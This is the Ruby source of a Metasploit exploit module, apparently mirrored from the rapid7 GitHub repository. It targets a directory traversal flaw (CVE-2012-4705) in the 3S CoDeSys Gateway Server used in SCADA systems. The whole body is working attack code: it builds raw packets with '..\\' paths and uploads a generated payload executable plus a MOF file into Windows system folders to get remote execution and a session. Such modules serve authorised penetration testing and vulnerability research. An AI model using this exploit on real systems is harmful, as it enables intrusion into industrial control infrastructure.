Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/scada/codesys_gateway_server_traversal.rb
19664 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
# https://metasploit.com
5
##
6
7
class MetasploitModule < Msf::Exploit::Remote
8
Rank = ExcellentRanking
9
10
include Msf::Exploit::EXE
11
include Msf::Exploit::FileDropper
12
include Msf::Exploit::Remote::Tcp
13
include Msf::Exploit::WbemExec
14
15
def initialize(info = {})
16
super(
17
update_info(
18
info,
19
'Name' => 'SCADA 3S CoDeSys Gateway Server Directory Traversal',
20
'Description' => %q{
21
This module exploits a directory traversal vulnerability that allows arbitrary
22
file creation, which can be used to execute a mof file in order to gain remote
23
execution within the SCADA system.
24
},
25
'Author' => [
26
'Enrique Sanchez <esanchez[at]accuvant.com>'
27
],
28
'License' => MSF_LICENSE,
29
'Notes' => {
30
'Stability' => [CRASH_SAFE],
31
'SideEffects' => [],
32
'Reliability' => []
33
},
34
'References' => [
35
['CVE', '2012-4705'],
36
['OSVDB', '90368'],
37
['URL', 'http://ics-cert.us-cert.gov/pdf/ICSA-13-050-01-a.pdf']
38
],
39
'DisclosureDate' => '2013-02-02',
40
'Platform' => 'win',
41
'Targets' => [
42
['Windows Universal S3 CoDeSyS < 2.3.9.27', {}]
43
],
44
'DefaultTarget' => 0
45
)
46
)
47
48
register_options(
49
[
50
Opt::RPORT(1211),
51
]
52
)
53
end
54
55
##
56
# upload_file(remote_filepath, remote_filename, local_filedata)
57
#
58
# remote_filepath: Remote filepath where the file will be uploaded
59
# remote_filename: Remote name of the file to be executed ie. boot.ini
60
# local_file: File containing the read data for the local file to be uploaded, actual open/read/close done in exploit()
61
def upload_file(remote_filepath, remote_filename, local_filedata = null)
62
magic_code = "\xdd\xdd"
63
opcode = [6].pack('L')
64
65
# We create the filepath for the upload, for execution it should be \windows\system32\wbem\mof\<file with extension mof!
66
file = "..\\..\\" << remote_filepath << remote_filename << "\x00"
67
pkt_size = local_filedata.size() + file.size() + (0x108 - file.size()) + 4
68
69
# Magic_code + packing + size
70
pkt = magic_code << "AAAAAAAAAAAA" << [pkt_size].pack('L')
71
72
tmp_pkt = opcode << file
73
tmp_pkt += "\x00" * (0x108 - tmp_pkt.size) << [local_filedata.size].pack('L') << local_filedata
74
pkt << tmp_pkt
75
76
print_status("Starting upload of file #{remote_filename}")
77
connect
78
sock.put(pkt)
79
disconnect
80
81
print_status("File uploaded")
82
end
83
84
def exploit
85
print_status("Attempting to communicate with SCADA system #{rhost} on port #{rport}")
86
87
# We create an exe payload, we have to get remote execution in 2 steps
88
exe = generate_payload_exe
89
exe_name = Rex::Text::rand_text_alpha(8) + ".exe"
90
upload_file("windows\\system32\\", exe_name, exe)
91
92
# We create the mof file and upload (second step)
93
mof_name = Rex::Text::rand_text_alpha(8) + ".mof"
94
mof = generate_mof(mof_name, exe_name)
95
upload_file("WINDOWS\\system32\\wbem\\mof\\", mof_name, mof)
96
97
print_status("Everything is ready, waiting for a session ... ")
98
handler
99
100
# Taken from the spooler exploit writen byt jduck and HDMoore
101
cnt = 1
102
while session_created? == false and cnt < 25
103
::IO.select(nil, nil, nil, 0.25)
104
cnt += 1
105
end
106
end
107
end
108
109